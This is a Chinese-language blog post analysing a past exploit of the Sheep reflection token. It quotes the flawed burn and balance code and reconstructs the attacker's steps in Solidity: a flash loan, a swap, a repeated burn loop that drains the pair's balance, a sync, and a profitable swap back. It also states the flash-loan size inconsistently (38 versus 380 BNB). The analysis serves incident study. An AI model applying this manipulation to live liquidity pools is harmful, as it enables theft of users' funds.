Sheep代币通缩漏洞分析

说明

在前面的文章中已经分析过了FDP存在的代币通缩类型的漏洞,今天继续分析Sheep的代币通缩漏洞。虽然两者的代码不完全一样,但是漏洞的原理却是一样的。

基本信息

漏洞函数

balanceOf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}

function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}


function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}

function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}

和之前分析的FDP漏洞一样,最终balancof的计算和合约中定义的_rTotal_tTotal有关。几乎代码是完全一样。

burn

1
2
3
4
5
6
7
8
9
10
function burn(uint256 _value) public{
_burn(msg.sender, _value);
}

function _burn(address _who, uint256 _value) internal {
require(_value <= _rOwned[_who]);
_rOwned[_who] = _rOwned[_who].sub(_value);
_tTotal = _tTotal.sub(_value);
emit Transfer(_who, address(0), _value);
}

相比之前的FDP漏洞,本次的漏洞函数是burn。直接通过burn()减少调用者的代币数量。最终实现的是:

  • _rOwned[_who] = _rOwned[_who].sub(_value),减少实际的代币数量
  • _tTotal = _tTotal.sub(_value),减少_tTotal 的值。

再次梳理下计算余额的逻辑:

  • balanceof:rAmount.div(currentRate)
  • rAmount:_tOwned[account]
  • _currentRate:_rTotal/_tTotal

最终的计算公式是:
$$
\frac{tOwned[account]}{\frac{rTotal}{tTotal}} = \frac{tOwned[account] \times tTotal}{rTotal}
$$
所以当_tTotal,计算得balanceof也会减少。

漏洞分析

DPPFlashLoanCall

通过闪电贷获得数量是38个BNB。

WBNBToSHEEP

将闪电贷得到的BNB全部换成SHEEP代币。

1
2
3
4
5
6
7
8
9
function WBNBToSHEEP() internal {
WBNB.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(SHEEP);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}

最终获得的闪电贷的数量是:25909852936496774794.

通过tenderly调试,查看此时实际得tOwned[account]、_rTotal_tTotal

  • tOwned[account]21444426731118471075302039839993709279885360729966170145131391140234936981741

  • _rTotalrSupply相同,是59215460978135173158676612258487448007070402970606630179506034991946198000500

  • _tTotaltSupply相同,是71546043396158607241

  • currentRate 的计算方式是:
    $$
    currentRate = \frac{rSupply}{tSupply}
    $$
    最后计算得到的结果是:827655285565581984084899321096098984285313722211890882872

balance的计算是tOwned[account].div(currentRate)

即:

1
21444426731118471075302039839993709279885360729966170145131391140234936981741/827655285565581984084899321096098984285313722211890882872

得到的结果就是:25909852936496774794

其中的详细计算过程参见tenderly。

burn

1
2
3
uint256 burnAmount = SHEEP.balanceOf(address(this));
burnAmount = burnAmount.mul(9).div(10);
SHEEP.burn(burnAmount); // 25909852936496774794 * 0.9 = 23318867642847097314

下面就详细分析burn的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function burn(uint256 _value) public{
_burn(msg.sender, _value);
}

function _burn(address _who, uint256 _value) internal {
require(_value <= _rOwned[_who]);
_rOwned[_who] = _rOwned[_who].sub(_value);
// 等价于:
// 21444426731118471075302039839993709279885360729966170145131391140234936981741 - 23318867642847097314
// 结果是:21444426731118471075302039839993709279885360729966170145108072272592089884427
_tTotal = _tTotal.sub(_value);
// 等价于:
// 71546043396158607241 - 23318867642847097314
// 结果是:48227175753311509927
emit Transfer(_who, address(0), _value);
}

balanceof

按照前面的分析,此时_rOwned_tTotal_rTotal 三者的值分别是:

  • _rOwned[account]21444426731118471075302039839993709279885360729966170145108072272592089884427
  • _tTotal48227175753311509927
  • _rTotal,保持不变是59215460978135173158676612258487448007070402970606630179506034991946198000500

通过前面的burn操作之后,最终计算的balanceof的结果是:

1
2
3
4
5
6
7
8
function testHub() external {
uint256 new_real_amount = 21444426731118471075302039839993709279885360729966170145108072272592089884427;
uint256 new_total = 48227175753311509927;
uint256 rtotal = 59215460978135173158676612258487448007070402970606630179506034991946198000500;
uint256 rate = rtotal.div(new_total);
uint256 result = new_real_amount.div(rate);
console2.log("balance %s",result); // 17465103197837696269
}

最终计算的结果是:17465103197837696269

实际的结果和计算出来的结果一致,也侧面印证了我们的分析是正确的。

ForLoop

既然通过burn()方法之后,会减少_tTotal,那么就可以想到所有的SHEEP.balanof(address)都会减少。

利用这个特性,我们就可以通过For循环不断减少Pair中的SHEEP的数量抬高SHEEP的价格从而获利。

攻击者就通过这样的做法来实现攻击。

1
2
3
4
5
6
while (SHEEP.balanceOf(address(Pair)) > 2) {
uint256 amount = SHEEP.balanceOf(address(this));
uint256 burnAmount = amount.mul(9).div(10);
SHEEP.burn(burnAmount);
}
Pair.sync();

最终循环的停止条件就是SHEEP.balanceOf(address(Pair))数量小于或等于2。

最后通过Pair.sync()更新Pair中的代币数量。

此时,因为Pair中的SHEEP代币数量非常少,这样就意味着SHEEP的价格就非常贵了。

攻击者通过将SHEEP兑换(swap)成为BNB,就可以获利。

此时,攻击者的代币数量是SHEEP.balanceOf(account=0x2021932c4dde18727a827c15f4bc0d6e7de636aa)是27

SWAP获利

攻击者最终通过swap将所有的SHEEP兑换为BNB,获利。

1
2
3
4
5
6
7
8
9
function SHEEPToWBNB() internal {
SHEEP.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(SHEEP);
path[1] = address(WBNB);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
SHEEP.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}

Pair中此时的两种代币的数量是:

  • SHEEP: 2
  • BNB: 418470984903412245858

通过swapExactTokensForTokensSupportingFeeOnTransferTokens()之后,攻击者会将27个SHEEP代币全部转移到Pair中。

按照swap的计算公式,最终swap的到的BNB数量是:389543585964266838730

获利

通过代码分析,攻击者通过swap的方式最终获得389543585964266838730,换掉闪电贷借的380000000000000000000。最终约为获利9.5个BNB。

通过资金流动的分析:

得出的结论也是一致的。

参考

https://twitter.com/BlockSecTeam/status/1623999717482045440

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/03/05/Sheep-Vuln/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow